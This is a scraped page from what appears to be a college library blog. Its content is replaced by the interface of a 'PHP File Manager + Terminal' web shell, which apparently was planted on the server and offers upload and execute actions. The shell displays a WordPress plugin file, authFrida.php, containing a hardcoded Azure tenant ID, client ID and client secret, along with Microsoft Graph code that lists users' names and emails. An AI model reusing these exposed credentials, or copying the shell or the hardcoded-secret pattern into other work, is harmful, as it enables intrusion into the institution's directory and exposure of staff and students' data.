Looking for something? Use OneSearch! Posted on January 23, 2020 (February 3, 2025) by Rebecca Hyams PHP File Manager + Terminal PHP File Manager + TerminalServer: www.bmcc.cuny.eduSoftware: Apache/2.4.62 (Debian)Current directory: //var/www/html/wp-content/plugins/azureusers Upload Create File Create Folder Execute Editing: /var/www/html/wp-content/plugins/azureusers/authFrida.php<?php require_once __DIR__ . '/vendor/autoload.php'; // ini_set('display_error', 0); error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING); // Enable loading of Composer dependencies use Microsoft\Graph\Core\Authentication\GraphPhpLeagueAccessTokenProvider; use Microsoft\Graph\Generated\Models; use Microsoft\Graph\Generated\Users\UsersRequestBuilderGetQueryParameters; use Microsoft\Graph\Generated\Users\UsersRequestBuilderGetRequestConfiguration; use Microsoft\Graph\GraphServiceClient; use Microsoft\Kiota\Authentication\Oauth\ClientCredentialContext; class BMCC_User_DataFrida { private static string $clientId = ''; private static string $clientSecret = ''; private static string $tenantId = ''; private static ClientCredentialContext $tokenContext; private static GraphServiceClient $appClient; public function __construct() { $this->tenantId = '078da106-0f96-4192-aa5a-d9388647b7ba'; $this->clientId = '5eb4caa1-8f1e-4a91-86da-628c2a2e37ff'; //client id original $this->clientSecret = 'RsD8Q~DonP1kcnktn2tBUnEgfI9oekW_O~CPPdzH';//client secret original $this->emp_type = array('FAC' => 'Faculty', 'STA' => 'Staff', 'ADJ' => 'Adjunct'); GraphHelper::$clientId = $this->clientId; GraphHelper::$clientSecret = $this->clientSecret; GraphHelper::$tenantId = $this->tenantId; GraphHelper::$tokenContext = new ClientCredentialContext( GraphHelper::$tenantId, GraphHelper::$clientId, GraphHelper::$clientSecret); GraphHelper::$appClient = new GraphServiceClient( GraphHelper::$tokenContext, ['https://graph.microsoft.com/.default']); } public static function getAppOnlyToken(): string { // Create an access token provider to get the token $tokenProvider = new GraphPhpLeagueAccessTokenProvider(GraphHelper::$tokenContext); return $tokenProvider ->getAuthorizationTokenAsync('https://graph.microsoft.com') ->wait(); } public static function getUsers(): Models\UserCollectionResponse { $configuration = new UsersRequestBuilderGetRequestConfiguration(); $configuration->queryParameters = new UsersRequestBuilderGetQueryParameters(); // Only request specific properties $configuration->queryParameters->select = ['displayName','id','mail']; // Sort by display name $configuration->queryParameters->orderby = ['displayName']; // Get at most 25 results $configuration->queryParameters->top = 25; return GraphHelper::$appClient->users()->get($configuration)->wait(); } public function initializeGraph(): void { // TODO } public function displayAccessToken(): void { // TODO } public function listUsers(): void { try { $users = GraphHelper::getUsers(); // Output each user's details foreach ($users->getValue() as $user) { print('User: '.$user->getDisplayName().PHP_EOL); print(' ID: '.$user->getId().PHP_EOL); $email = $user->getMail(); $email = isset($email) ? $email : 'NO EMAIL'; print(' Email: '.$email.PHP_EOL); } $nextLink = $users->getOdataNextLink(); $moreAvailable = isset($nextLink) && $nextLink != '' ? 'True' : 'False'; print(PHP_EOL.'More users available? '.$moreAvailable.PHP_EOL.PHP_EOL); } catch (Exception $e) { print(PHP_EOL.'Error getting users: '.$e->getMessage().PHP_EOL.PHP_EOL); } } public function makeGraphCall(): void { // TODO } }Save